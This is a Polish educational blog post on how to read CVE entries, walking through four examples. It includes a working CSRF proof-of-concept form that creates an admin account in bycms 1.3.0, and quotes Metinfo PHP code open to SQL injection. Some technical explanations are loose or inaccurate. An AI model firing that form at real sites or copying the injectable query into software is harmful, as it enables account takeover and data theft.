Czym są i jak czytać CVE (Common Vulnerabilities and Exposures )?

CVE, czyli Common Vulnerabilities and Exposures jest publicznym słownikiem zarejestrowanych w systemie podatności i zagrożeń. Zgodnie z wizją prowadzących dokumentację CVE, słownik ma za zadanie służyć jako standard branżowy służący do komunikacji miedzy różnymi zespołami. Chociaż sami twórcy unikają tego określenia, to jest to swego rodzaju baza danych. Zgodnie z ich dokumentacją, podatność definiowana jest jako słabość danego systemu (wynikająca z błędów), a zagrożeniem określa się naruszenie polityki bezpieczeństwa. Słownik CVE można znaleźć tutaj.

Z czego składa się CVE

Każde CVE posiada swoje własne ID, które skonstruowane jest w sposób następujący:

CVE - Rok zgłoszenia - numer seryjny = CVE-2021-38197

Przykładowe zgłoszenie (w zależności od podanych informacji) może wyglądać jak na obrazku poniżej.

Jak widzimy, zawiera ono ID o którym wspomnieliśmy, krótki opis, referencję, podatną wersję, wektor ataku, jego skomplikowanie i wiele więcej.

Przykłady CVE

Przyjrzymy się kilku ostatnim zarejestrowanym w słowniku podatnościom.

CVE-2021-38197

Po odtworzeniu CVE możemy dowiedzieć się, że zgłoszenie dotyczy biblioteki go-unarr służącej do rozpakowywania archiwów RAR, TAR, ZIP and 7z. Jako referencję zamieszczono link do githuba, z którego możęmy dowiedzieć się, że wersja 0.1.1 biblioteki pozwala na atak Path Travelsal, który w przykładzie skutkuje umieszczeniem pliku z archiwum w dowolonym miejscu na serwerze.

CVE-2020-18457

Za kolejny przykład posłuży nam zgłoszenie dotyczące systemu zarządzania treścią bycms. W wersji 1.3.0, odpowiednio spreperowany (poniższy) plik z formularzem pozwala nam na atak CSRF. Jeśli jeszcze nie wiesz na czym on polega, odsyłamy tutaj.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/admin.php/ucenter/add.html" method="POST">
      <input type="hidden" name="username" value="root" />
      <input type="hidden" name="password" value="11a040841c73c8627c274ba30f8b2123" />
      <input type="hidden" name="mobile" value="1233435346456" />
      <input type="hidden" name="email" value="qweqwe&#64;qq&#46;com" />
      <input type="hidden" name="cover&#95;id" value="" />
      <input type="hidden" name="file&#95;path" value="" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="id" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

CVE-2020-36458

Na tym przykładzie możemy zauważyć istotę słownika CVE. Nie wszystkie zgłoszenia dotyczą bezpośrednich ataków na użytkowników korzystających z aplikacji.

W CVE czytamy, że parametry (T, E) dla klasy ReaderResult były asynchroniczne. W efekcie pozwalało na potencjalne uszkodzenie pamięci, jeśli wiele wątków wykorzystywało owe parametry. Aby zrozumieć w jaki sposób to następuje, musimy mieć podstawową znajomość języka RUST.

W dokumentacji czytamy, że parametry używają cech (trait) aby określić funkcjonalność, którą implementują. Przykład funkcji przyjmującej generyczny typ „T„, implementujący cechę wyświetlana.

// Define a function `printer` that takes a generic type `T` which
// must implement trait `Display`.
fn printer<T: Display>(t: T) {
    println!("{}", t);
}

We wspomnianym raporcie, cechą parametrów T i E było przesyłanie(Send), które jak wspomnieliśmy, było asynchroniczne.

CVE-2020-20981

Tematem zgłoszenia jest cms Metinfo. W jego wersji 7.0.0 można było z pomocą jdnego z endpointów wykonać atak SQL Blind Injection. Podatny kod:

public function dodel(){
global $_M;
$id = isset($_M['form']['id']) ? $_M['form']['id'] : '';
if (!$id){
  $this->error($_M['word']['js10']);
}
$id = implode(',',$id);
$del_resutl = DB::query("DELETE FROM {$_M['table']['admin_logs']} WHERE id IN ({$id}) ");
if (!$del_resutl){
  $this->error($_M['word']['opfailed']);
}

W poniższej linijce kod jest filtrowany tylko przez addslashes, co ostatecznie nic nie zmienia, ponieważ jesteśmy w stanie wstrzyknąć złośliwy payload w dalszej części.

$id = isset($_M['form']['id']) ? $_M['form']['id'] : '';

Ostatecznie podatność skutkuje dostępem do wrażliwych danych.

Źródła

https://cve.mitre.org/
https://www.whitesourcesoftware.com/resources/blog/cve-vulnerability/
https://cve.circl.lu/cve/CVE-2021-38197
https://cve.circl.lu/cve/CVE-2020-18457
https://cve.circl.lu/cve/CVE-2020-36458
https://doc.rust-lang.org/rust-by-example/generics/bounds.html#bounds
https://cve.circl.lu/cve/CVE-2020-20981

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.